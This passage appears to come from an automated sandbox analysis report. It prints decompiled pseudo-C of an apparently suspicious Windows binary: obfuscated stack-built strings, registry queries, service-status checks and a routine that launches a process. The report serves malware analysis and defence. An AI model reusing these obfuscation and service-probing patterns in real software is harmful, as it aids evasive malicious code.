				_v42 = 0x26;
				_v41 = 0x5e;
				_v40 = 0xc;
				_v39 = 0xbe;
				_v37 = 0x49;
				_v34 = 0xe;
				_v32 = 0xa4;
				_v31 = 0xed;
				_v30 = 0x49;
				_v29 = 0xbc;
				_v28 = 0x99;
				_v27 = 0x24;
				_v26 = 0x3b;
				_v25 = 0x3e;
				_t125 = 0;
				do {
					 *((char*)(_t203 + _t125 + 0x1c)) =  *((intOrPtr*)(_t203 + _t125 + 0x1c)) +  *((intOrPtr*)(_t203 + _t125 + 0x34));
					 *((char*)(_t203 + _t125 + 0x1d)) =  *((intOrPtr*)(_t203 + _t125 + 0x1d)) +  *((intOrPtr*)(_t203 + _t125 + 0x35));
					 *((char*)(_t203 + _t125 + 0x1e)) =  *((intOrPtr*)(_t203 + _t125 + 0x1e)) +  *((intOrPtr*)(_t203 + _t125 + 0x36));
					 *((char*)(_t203 + _t125 + 0x1f)) =  *((intOrPtr*)(_t203 + _t125 + 0x1f)) +  *((intOrPtr*)(_t203 + _t125 + 0x37));
					 *((char*)(_t203 + _t125 + 0x20)) =  *((intOrPtr*)(_t203 + _t125 + 0x20)) +  *((intOrPtr*)(_t203 + _t125 + 0x38));
					 *((char*)(_t203 + _t125 + 0x21)) =  *((intOrPtr*)(_t203 + _t125 + 0x21)) +  *((intOrPtr*)(_t203 + _t125 + 0x39));
					_t125 = _t125 + 6;
					_t171 = _t171 + 0x28e;
				} while (_t125 < 0x18);
				_v18 = 0x6e;
				_v14 = 0x6e;
				_t127 =  *0x431f34; // 0x32
				 *0x431f38 = _t171;
				_v23 = 0x65;
				_v9 = 0x65;
				_t166 = GetProcessHeap;
				_v24 = 0x56;
				_v22 = 0x72;
				_v21 = 0x73;
				_v20 = 0x69;
				_v19 = 0x6f;
				_v17 = 0;
				_v16 = 0x57;
				_v15 = 0x69;
				_v13 = 0x52;
				_v12 = 0x6f;
				_v11 = 0x75;
				_v10 = 0x74;
				_v8 = 0;
				 *0x431f34 = _t127 + 0x32;
				_v76 = 0x100;
				_v80 = 0;
				_push(HeapAlloc(GetProcessHeap(), 8, 0x100));
				_pop(_t197);
				_t132 = RegOpenKeyExA(0x80000002,  &_v72, 0, 1,  &_v84); // executed
				if(_t132 != 0) {
					 *((intOrPtr*)(_t200 + 0xf4)) = GetLastError();
				}
				if(RegQueryValueExA(_v84,  &_v24, 0,  &_v80, _t197,  &_v76) == 0) {
					_t136 = E00425A4D(_t166, _t197, _t200, _t197, 0x42e310);
					_t204 =  &(_t203[2]);
					if(_t136 != 0) {
						_t148 = E004259C0(_t136);
						_t204 =  &(_t204[1]);
						 *((intOrPtr*)(_t200 + 0xe4)) = _t148;
					}
					_t137 = E00425A4D(_t166, _t197, _t200, 0, 0x42e310);
					_t205 =  &(_t204[2]);
					if(_t137 != 0) {
						_t147 = E004259C0(_t137);
						_t205 =  &(_t205[1]);
						 *((intOrPtr*)(_t200 + 0xe8)) = _t147;
					}
					if(E00425A4D(_t166, _t197, _t200, 0, 0x42e310) != 0) {
						 *((intOrPtr*)(_t200 + 0xec)) = E004259C0(_t138);
					}
					 *((intOrPtr*)(_t200 + 0xf0)) = 0x1b;
					 *(_t200 + 0xf8) = 1;
				} else {
					 *((intOrPtr*)(_t200 + 0xf4)) = GetLastError();
				}
				_t118 = _t200 + 0xf4; // 0x431d8c
				 *((intOrPtr*)(_t200 + 0xfc)) = E0041F020(_t200,  &_v16);
				HeapFree(GetProcessHeap(), 0, _t197);
				RegCloseKey(_v92);
				return E00424873(0, _v12);
			}

0x00421a20
0x00421a23
0x00421a2b
0x00421a31
0x00421a35
0x00421a3b
0x00421a3f
0x00421a45
0x00421a4b
0x00421a4f
0x00421a57
0x00421a5b
0x00421a61
0x00421a65
0x00421a69
0x00421a6d
0x00421a71
0x00421a78
0x00421a7c
0x00421a7d
0x00421a82
0x00421a87
0x00421a8c
0x00421a90
0x00421a95
0x00421a9a
0x00421a9f
0x00421aa4
0x00421aa9
0x00421aae
0x00421ab3
0x00421ab8
0x00421abd
0x00421ac2
0x00421ac6
0x00421acb
0x00421ad0
0x00421ad5
0x00421ada
0x00421adf
0x00421ae4
0x00421ae9
0x00421aee
0x00421af3
0x00421af8
0x00421afc
0x00421b01
0x00421b06
0x00421b0b
0x00421b0f
0x00421b14
0x00421b19
0x00421b1e
0x00421b23
0x00421b28
0x00421b30
0x00421b3e
0x00421b4c
0x00421b5a
0x00421b68
0x00421b82
0x00421b94
0x00421b98
0x00421b9b
0x00421b9f
0x00421ba6
0x00421baa
0x00421bae
0x00421bb5
0x00421bc5
0x00421bc9
0x00421bcd
0x00421bd8
0x00421bdd
0x00421be2
0x00421be7
0x00421beb
0x00421bef
0x00421bf4
0x00421bf9
0x00421bfd
0x00421c02
0x00421c06
0x00421c0b
0x00421c10
0x00421c15
0x00421c1a
0x00421c22
0x00421c33
0x00421c34
0x00421c48
0x00421c56
0x00421c5a
0x00421c5a
0x00421c7f
0x00421c91
0x00421c96
0x00421c9b
0x00421c9e
0x00421ca3
0x00421ca6
0x00421ca6
0x00421cb3
0x00421cb8
0x00421cbd
0x00421cc0
0x00421cc5
0x00421cc8
0x00421cc8
0x00421cdf
0x00421cea
0x00421cea
0x00421cf0
0x00421cfa
0x00421c81
0x00421c83
0x00421c83
0x00421d04
0x00421d1a
0x00421d23
0x00421d2e
0x00421d46

APIs

GetProcessHeap.KERNEL32 ref: 00421C2A
HeapAlloc.KERNEL32(00000000), ref: 00421C2D
RegOpenKeyExA.ADVAPI32(80000002,000000A2,00000000,00000001,00000000), ref: 00421C48
GetLastError.KERNEL32 ref: 00421C58
RegQueryValueExA.ADVAPI32(?,00000057,00000000,00000000,00000000,?), ref: 00421C77
GetLastError.KERNEL32 ref: 00421C81
GetProcessHeap.KERNEL32(00000000,00000000,?,00431D8C,?,?,?,?,?,00000001), ref: 00421D20
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 00421D23
RegCloseKey.ADVAPI32(?,?,?,?,?,?,00000001), ref: 00421D2E

Strings

;, xrefs: 00421B1E
>, xrefs: 00421B23
W, xrefs: 00421BF4
u, xrefs: 00421C06
&, xrefs: 00421AE4
), xrefs: 00421A9A
R, xrefs: 00421BFD
H, xrefs: 00421ADF
N, xrefs: 00421AA9
^, xrefs: 00421AE9
*, xrefs: 00421AC6
s, xrefs: 00421BE2
$, xrefs: 00421B19
#, xrefs: 00421AD5
t, xrefs: 00421C0B
r, xrefs: 00421BDD
T, xrefs: 00421A7D
S, xrefs: 00421A95
V, xrefs: 00421BD8

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Heap$ErrorLastProcess$AllocCloseFreeOpenQueryValue
String ID: #$$$&$)$*$;$>$H$N$R$S$T$V$W$^$r$s$t$u
API String ID: 1434707997-1823157150
Opcode ID: 734658b54d35586b5cc735ac13f753a10476cca92f850a1507c53eb631ec990e
Instruction ID: f6f5403a69288aa549014ea77bf9b605372502d075a7d533e8ff68f7f5fcb664
Opcode Fuzzy Hash: 734658b54d35586b5cc735ac13f753a10476cca92f850a1507c53eb631ec990e
Instruction Fuzzy Hash: 0FA17A6110D3C19ED322DB79A884B9BBFD45FA6208F481EADF1D487393D2A5C108C76B

Uniqueness

Uniqueness Score: -1.00%

Function 0041FAD9, Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 146
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E0041FAD9(void* __eax, char __ebx, signed int __ecx, void* __esi, void* _a12, void* _a16, int _a20, int _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a31, char _a32, char _a44, intOrPtr _a72, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a84, char _a85, char _a86, char _a87, char _a88, char _a89, intOrPtr _a108) {
				void* _v0;
				void* _t81;
				void* _t84;
				signed int _t86;
				long _t98;
				void* _t102;
				void* _t103;
				void* _t105;
				intOrPtr _t119;
				intOrPtr _t120;
				intOrPtr _t121;
				signed char _t125;
				signed int _t127;
				signed int _t139;
				void* _t148;
				void* _t158;
				void* _t160;
				void* _t165;
				void* _t166;
				void* _t167;

				_t160 = __esi;
				_t127 = __ecx;
				_t81 = __eax;
				do {
					 *((intOrPtr*)(_t165 + _t81 + 0x2c)) =  *((intOrPtr*)(_t165 + _t81 + 0x2c)) +  *((intOrPtr*)(_t165 + _t81 + 0x1c));
					 *((intOrPtr*)(_t165 + _t81 + 0x2d)) =  *((intOrPtr*)(_t165 + _t81 + 0x2d)) +  *((intOrPtr*)(_t165 + _t81 + 0x1d));
					 *((intOrPtr*)(_t165 + _t81 + 0x2e)) =  *((intOrPtr*)(_t165 + _t81 + 0x2e)) +  *((intOrPtr*)(_t165 + _t81 + 0x1e));
					 *((intOrPtr*)(_t165 + _t81 + 0x2f)) =  *((intOrPtr*)(_t165 + _t81 + 0x2f)) +  *((intOrPtr*)(_t165 + _t81 + 0x1f));
					 *((intOrPtr*)(_t165 + _t81 + 0x30)) =  *((intOrPtr*)(_t165 + _t81 + 0x30)) +  *((intOrPtr*)(_t165 + _t81 + 0x20));
					_t81 = _t81 + 5;
					_t127 = _t127 + 0x221;
				} while (_t81 < 0xf);
				_a88 = 0xd;
				_a76 = 0xd;
				_push( &_a84);
				_push( &_a76);
				_pop(_t148);
				_t84 = 6;
				 *0x431f38 = _t127;
				_a84 = 0xc4;
				_a85 = 0xd4;
				_a86 = 0x79;
				_a87 = 0xbe;
				_a89 = 0xdb;
				_a77 = 0x7b;
				_a78 = 8;
				_a79 = __ebx;
				_a80 = 0xa;
				_a81 = 0x64;
				_a72 = E0041E250(_t84, _t148);
				_t86 =  *0x431f38; // 0x2d2c
				_a24 = 0x41;
				_a25 = 0x63;
				_a26 = 0x74;
				_a27 = 0x69;
				_a28 = 0x76;
				_a29 = __ebx;
				_a30 = 0x5a;
				_a31 = 0x41;
				_a32 = 0;
				 *0x431f38 = _t86 + 0x3d5;
				_a20 = 0xff;
				_a16 = 0;
				_t158 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t125 = 0x3d; // executed
				_t98 = RegOpenKeyExA(0x80000002,  &_a88, 0, 1,  &_a12); // executed
				if(_t98 != 0) {
					 *((intOrPtr*)(__esi + 0x14)) = GetLastError();
				}
				if(RegQueryValueExA(_a16,  &_a44, 0,  &_a20, _t158,  &_a24) == 0) {
					_t102 = E00425A4D(_t125, _t158, _t160, _t158, 0x42e310);
					_t166 = _t165 + 8;
					if(_t102 != 0) {
						_t121 = E004259C0(_t102);
						_t166 = _t166 + 4;
						 *((intOrPtr*)(_t160 + 4)) = _t121;
					}
					_t103 = E00425A4D(_t125, _t158, _t160, 0, 0x42e310);
					_t167 = _t166 + 8;
					_t104 = _t103;
					if(_t103 != 0) {
						_t120 = E004259C0(_t104);
						_t167 = _t167 + 4;
						 *((intOrPtr*)(_t160 + 8)) = _t120;
					}
					_t105 = E00425A4D(_t125, _t158, _t160, 0, 0x42e310);
					_t165 = _t167 + 8;
					_t106 = _t105;
					if(_t105 != 0) {
						_t119 = E004259C0(_t106);
						_t165 = _t165 + 4;
						 *((intOrPtr*)(_t160 + 0xc)) = _t119;
					}
					_t125 = 0;
					 *((intOrPtr*)(_t160 + 0x10)) = 0x14;
					 *(_t160 + 0x18) = 1;
				} else {
					 *((intOrPtr*)(_t160 + 0x14)) = GetLastError();
				}
				_t71 = _t160 + 0x14; // 0x431cac
				_push(_t71);
				 *((intOrPtr*)(_t160 + 0x1c)) = E0041F020(_t160, _a76);
				 *((intOrPtr*)(_t160 + 0x20)) = E0041F100(_t160,  &_a20, _t71);
				_t139 =  *0x431f2c; // 0x0
				 *0x431f2c = _t139 * 0x3b11;
				 *0x431f38 = (_t125 * 0x00000038 & _t125 & 0x00000050) *  *0x431f38 +  *0x431f30 | 0x0000005b;
				HeapFree(GetProcessHeap(), 0, _t158);
				RegCloseKey(_v0);
				return E00424873(0, _a108);
			}

0x0041fad9
0x0041fad9
0x0041fad9
0x0041fae0
0x0041fae4
0x0041faec
0x0041faf4
0x0041fafc
0x0041fb04
0x0041fb18
0x0041fb1b
0x0041fb1f
0x0041fb26
0x0041fb2a
0x0041fb32
0x0041fb37
0x0041fb38
0x0041fb3b
0x0041fb3c
0x0041fb43
0x0041fb48
0x0041fb4d
0x0041fb52
0x0041fb57
0x0041fb5c
0x0041fb61
0x0041fb66
0x0041fb6a
0x0041fb6f
0x0041fb79
0x0041fb7d
0x0041fbb0
0x0041fbb4
0x0041fbb9
0x0041fbbe
0x0041fbc3
0x0041fbc8
0x0041fbcc
0x0041fbd1
0x0041fbd5
0x0041fbda
0x0041fbe0
0x0041fbe8
0x0041fc10
0x0041fc12
0x0041fc14
0x0041fc22
0x0041fc26
0x0041fc26
0x0041fc48
0x0041fc57
0x0041fc5c
0x0041fc61
0x0041fc64
0x0041fc69
0x0041fc6c
0x0041fc6c
0x0041fc76
0x0041fc7b
0x0041fc7e
0x0041fc80
0x0041fc83
0x0041fc88
0x0041fc8b
0x0041fc8b
0x0041fc95
0x0041fc9a
0x0041fc9d
0x0041fc9f
0x0041fca2
0x0041fca7
0x0041fcaa
0x0041fcaa
0x0041fcad
0x0041fcaf
0x0041fcb6
0x0041fc4a
0x0041fc4c
0x0041fc4c
0x0041fcc1
0x0041fcc4
0x0041fcd5
0x0041fcdd
0x0041fce6
0x0041fd05
0x0041fd17
0x0041fd25
0x0041fd30
0x0041fd48

APIs

GetProcessHeap.KERNEL32(00000008,000000FF,?), ref: 0041FBF0
HeapAlloc.KERNEL32(00000000), ref: 0041FBF7
RegOpenKeyExA.ADVAPI32(80000002,00000006,00000000,00000001,73B74DE0), ref: 0041FC14
GetLastError.KERNEL32 ref: 0041FC24
RegQueryValueExA.ADVAPI32(?,000000E5,00000000,00000000,00000000,?), ref: 0041FC40
GetLastError.KERNEL32 ref: 0041FC4A

Strings

y, xrefs: 0041FB4D
i, xrefs: 0041FBBE
{, xrefs: 0041FB5C
Z, xrefs: 0041FBCC
c, xrefs: 0041FBB4
v, xrefs: 0041FBC3
d, xrefs: 0041FB6F
t, xrefs: 0041FBB9

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: ErrorHeapLast$AllocOpenProcessQueryValue
String ID: Z$c$d$i$t$v$y${
API String ID: 1776519057-3640894087
Opcode ID: 77221c8869395a9083000ef0cd7226d1aa792b11581ef34b1db2462ae785f715
Instruction ID: db1535f102d92fd49f7bf7f65bede189198ea595769709197cd66ba4f4c01c67
Opcode Fuzzy Hash: 77221c8869395a9083000ef0cd7226d1aa792b11581ef34b1db2462ae785f715
Instruction Fuzzy Hash: 4351C27110C3C08ED310DB699855B9BFFE5AF99708F044E6EE1C586292D7B59009CB6B

Uniqueness

Uniqueness Score: -1.00%

Function 0041F020, Relevance: 16.6, APIs: 11, Instructions: 87
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E0041F020(char* _a4, intOrPtr* _a8) {
				char** _v12;
				char _v36;
				char _v40;
				intOrPtr _v52;
				void* _t10;
				char* _t12;
				intOrPtr _t15;
				void* _t17;
				void* _t34;
				void* _t36;
				void* _t37;

				_t10 = OpenSCManagerA(0, 0, 0x80000000); // executed
				_t34 = _t10;
				if(_t34 != 0) {
					_push(OpenServiceA(_t34, _a4, 4));
					_pop(_t36);
					_t37 = _t36;
					if(_t37 != 0) {
						_t12 =  &_v36;
						__imp__QueryServiceStatusEx(_t37, 0, _t12, 0x24,  &_v40);
						if(_t12 != 0) {
							CloseServiceHandle(_t37);
							CloseServiceHandle(_t34);
							_t15 = _v52;
							if(_t15 == 4 || _t15 == 2) {
								 *_v12 = 0;
								asm("pushad");
								asm("popad");
								_t17 = 1;
								return _t17;
							} else {
								 *_v12 = 0;
								return 0;
							}
						} else {
							 *_v12 = GetLastError();
							CloseServiceHandle(_t37);
							CloseServiceHandle(_t34);
							return 0;
						}
					} else {
						 *_a8 = GetLastError();
						CloseServiceHandle(_t34);
						return 0;
					}
				} else {
					 *_a8 = GetLastError();
					return 0;
				}
			}

0x0041f02d
0x0041f034
0x0041f037
0x0041f05d
0x0041f05e
0x0041f05f
0x0041f061
0x0041f087
0x0041f08f
0x0041f097
0x0041f0c2
0x0041f0c5
0x0041f0c7
0x0041f0ce
0x0041f0ee
0x0041f0f4
0x0041f0f5
0x0041f0f8
0x0041f0fd
0x0041f0d5
0x0041f0da
0x0041f0e6
0x0041f0e6
0x0041f099
0x0041f0aa
0x0041f0ac
0x0041f0af
0x0041f0b8
0x0041f0b8
0x0041f063
0x0041f06e
0x0041f070
0x0041f07d
0x0041f07d
0x0041f039
0x0041f043
0x0041f04b
0x0041f04b

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000,00000000,?,?,?,?,?,?,?,0041FCCD,?,00431CAC), ref: 0041F02D
GetLastError.KERNEL32(?,?,?,?,?,?,?,0041FCCD,?,00431CAC,?,?,?,?,?,00000001), ref: 0041F039
OpenServiceA.ADVAPI32(00000000,?,00000004,00431C98,?,?,?,?,?,?,?,0041FCCD,?,00431CAC), ref: 0041F057
GetLastError.KERNEL32(?,?,?,?,?,?,?,0041FCCD,?,00431CAC,?,?,?,?,?,00000001), ref: 0041F063
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,0041FCCD,?,00431CAC), ref: 0041F070

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID:
API String ID: 48634454-0
Opcode ID: da80f6fe469a4d1728066c5adf65e9606658f02f85e4992594bf8718fba32979
Instruction ID: ca38181840e09905b2b325ba9e7968fc5360e9fc809c7c893503484048bc6e6e
Opcode Fuzzy Hash: da80f6fe469a4d1728066c5adf65e9606658f02f85e4992594bf8718fba32979
Instruction Fuzzy Hash: 7C219236705220ABD320AB69DC49F9F7FE8EF89760F40042AF641D6250D7B09447CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00412897, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82
stringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E00412897(void* __eax, struct _PROCESS_INFORMATION _a20, void* _a24, struct _STARTUPINFOA _a36, short _a84, char _a104, char _a168, char _a688, intOrPtr _a1208) {
				void* _t52;
				signed int _t78;
				void* _t100;

				_t52 = __eax;
				do {
					 *((char*)(_t100 + _t52 + 0x68)) =  *((intOrPtr*)(_t100 + _t52 + 0x68)) +  *((intOrPtr*)(_t100 + _t52 + 0x88));
					 *((char*)(_t100 + _t52 + 0x69)) =  *((intOrPtr*)(_t100 + _t52 + 0x69)) +  *((intOrPtr*)(_t100 + _t52 + 0x89));
					 *((char*)(_t100 + _t52 + 0x6a)) =  *((intOrPtr*)(_t100 + _t52 + 0x6a)) +  *((intOrPtr*)(_t100 + _t52 + 0x8a));
					 *((char*)(_t100 + _t52 + 0x6b)) =  *((intOrPtr*)(_t100 + _t52 + 0x6b)) +  *((intOrPtr*)(_t100 + _t52 + 0x8b));
					 *((char*)(_t100 + _t52 + 0x6c)) =  *((intOrPtr*)(_t100 + _t52 + 0x6c)) +  *((intOrPtr*)(_t100 + _t52 + 0x8c));
					 *((char*)(_t100 + _t52 + 0x6d)) =  *((intOrPtr*)(_t100 + _t52 + 0x6d)) +  *((intOrPtr*)(_t100 + _t52 + 0x8d));
					_t52 = _t52 + 6;
				} while (_t52 < 0x1e);
				ExpandEnvironmentStringsA( &_a104,  &_a688, 0x208);
				lstrcatA( &_a688, " ");
				lstrcatA( &_a688,  &_a168);
				asm("pushad");
				asm("popad");
				_t78 = 0x11;
				memset( &_a36, 0, _t78 << 2);
				_a36.cb = 0x44;
				_a84 = 1;
				CreateProcessA(0,  &_a688, 0, 0, 0, 0, 0, 0,  &_a36,  &_a20); // executed
				CloseHandle(_a20);
				return E00424873(CloseHandle(_a24), _a1208);
			}

0x00412897
0x004128a0
0x004128b1
0x004128c2
0x004128d3
0x004128e4
0x004128f5
0x00412902
0x00412906
0x00412909
0x00412920
0x00412939
0x0041294b
0x0041294f
0x00412950
0x00412953
0x00412958
0x0041297a
0x00412982
0x00412989
0x00412994
0x004129b3

APIs

ExpandEnvironmentStringsA.KERNEL32(0000004F,?,00000208), ref: 00412920
lstrcatA.KERNEL32(?,0042E3F8), ref: 00412939
lstrcatA.KERNEL32(?,?), ref: 0041294B
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00412989
CloseHandle.KERNEL32(?), ref: 00412994
CloseHandle.KERNEL32(?), ref: 0041299B

Strings

D, xrefs: 0041297A

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CloseHandlelstrcat$CreateEnvironmentExpandProcessStrings
String ID: D
API String ID: 249013821-2746444292
Opcode ID: 76d8e5976dabda6ae00303cc6ece7fd52318d11455fa0eb16e27674983f9ffd9
Instruction ID: 968744dfd8b66cc34442ddf2bf28635c0ef5c9c9887442a6db43e4435b4a9bad
Opcode Fuzzy Hash: 76d8e5976dabda6ae00303cc6ece7fd52318d11455fa0eb16e27674983f9ffd9
Instruction Fuzzy Hash: 9531507610C3845BD321A729A494AEBFFE9AFD6218F288DBDD5C4C3243D6718409CB57

Uniqueness

Uniqueness Score: -1.00%

Function 0041EFA0, Relevance: 10.5, APIs: 7, Instructions: 44
serviceCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0041EFA0(char* _a4, char** _a8) {
				void* _t5;
				void* _t6;
				void* _t23;

				_t5 = OpenSCManagerA(0, 0, 0x80000000); // executed
				_t23 = _t5;
				if(_t23 != 0) {
					_t6 = OpenServiceA(_t23, _a4, 4); // executed
					if(_t6 != 0) {
						CloseServiceHandle(_t6);
						CloseServiceHandle(_t23);
						 *_a8 = 0;
						asm("pushfd");
						asm("popfd");
						return 1;
					} else {
						 *_a8 = GetLastError();
						CloseServiceHandle(_t23);
						return 0;
					}
				} else {
					 *_a8 = GetLastError();
					return 0;
				}
			}

0x0041efaa
0x0041efb0
0x0041efb4
0x0041efd0
0x0041efd8
0x0041effb
0x0041effe
0x0041f005
0x0041f00b
0x0041f00f
0x0041f011
0x0041efda
0x0041efe5
0x0041efe7
0x0041eff0
0x0041eff0
0x0041efb6
0x0041efc0
0x0041efc5
0x0041efc5

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000,00431C98,0042051B,?,00431CEC), ref: 0041EFAA
GetLastError.KERNEL32 ref: 0041EFB6
OpenServiceA.ADVAPI32(00000000,000000EF,00000004), ref: 0041EFD0
GetLastError.KERNEL32 ref: 0041EFDA
CloseServiceHandle.ADVAPI32(00000000), ref: 0041EFE7

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID:
API String ID: 48634454-0
Opcode ID: b37b349ee806936fed278d872376cb1094d09e78e36074fda8188ddf80b4638c
Instruction ID: 9be224500fc81e76321d901fa49d7a31ecc56d3c5fd6464608d304754b2872c8
Opcode Fuzzy Hash: b37b349ee806936fed278d872376cb1094d09e78e36074fda8188ddf80b4638c
Instruction Fuzzy Hash: 5AF08136205220AFD321AB76DC08F8BFBE8EFA5350F114426FA41D7250D7B49843CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00429190, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 68%

			E00429190(int _a4) {
				struct HINSTANCE__* _t3;
				intOrPtr* _t5;

				_t3 = GetModuleHandleA("mscoree.dll");
				if(_t3 != 0) {
					_t5 = GetProcAddress(_t3, "CorExitProcess");
					if(_t5 != 0) {
						 *_t5(_a4);
					}
				}
				ExitProcess(_a4);
			}

0x00429195
0x0042919d
0x004291ab
0x004291ad
0x004291b3
0x004291b3
0x004291ad
0x004291b9

APIs

GetModuleHandleA.KERNEL32(mscoree.dll,004292FE,?,0042EAB8,00000008,00429335,?,00000001,00000000,00426648,00000003), ref: 00429195
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004291A5
ExitProcess.KERNEL32 ref: 004291B9

Strings

CorExitProcess, xrefs: 0042919F
mscoree.dll, xrefs: 00429190

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID: CorExitProcess$mscoree.dll
API String ID: 75539706-1276376045
Opcode ID: 9e749e71b228cdcb1b7ee22f2a1d747cb98dc2041e10011d6455a9e91939e829
Instruction ID: 860936d227d59badc9753d15c9f33c70d59d03cdbb139a81f6dbe3bb346aeb82
Opcode Fuzzy Hash: 9e749e71b228cdcb1b7ee22f2a1d747cb98dc2041e10011d6455a9e91939e829
Instruction Fuzzy Hash: 8FD0E730344321EBE6111B73ED1D67B7A65BB41741B944435B445D0160DB75CC21991D

Uniqueness

Uniqueness Score: -1.00%

Function 004122F0, Relevance: 7.6, APIs: 5, Instructions: 53
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004122F0(void* __esi) {
				intOrPtr _v4;
				char _v264;
				long _v268;
				void _v272;
				intOrPtr _t12;
				void* _t15;
				void* _t31;

				_t12 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t12;
				GetModuleFileNameA(0,  &_v264, 0x104);
				_t15 = CreateFileA( &_v264, 0x80000000, 3, 0, 3, 0, 0); // executed
				_t31 = _t15;
				if(_t31 != 0xffffffff) {
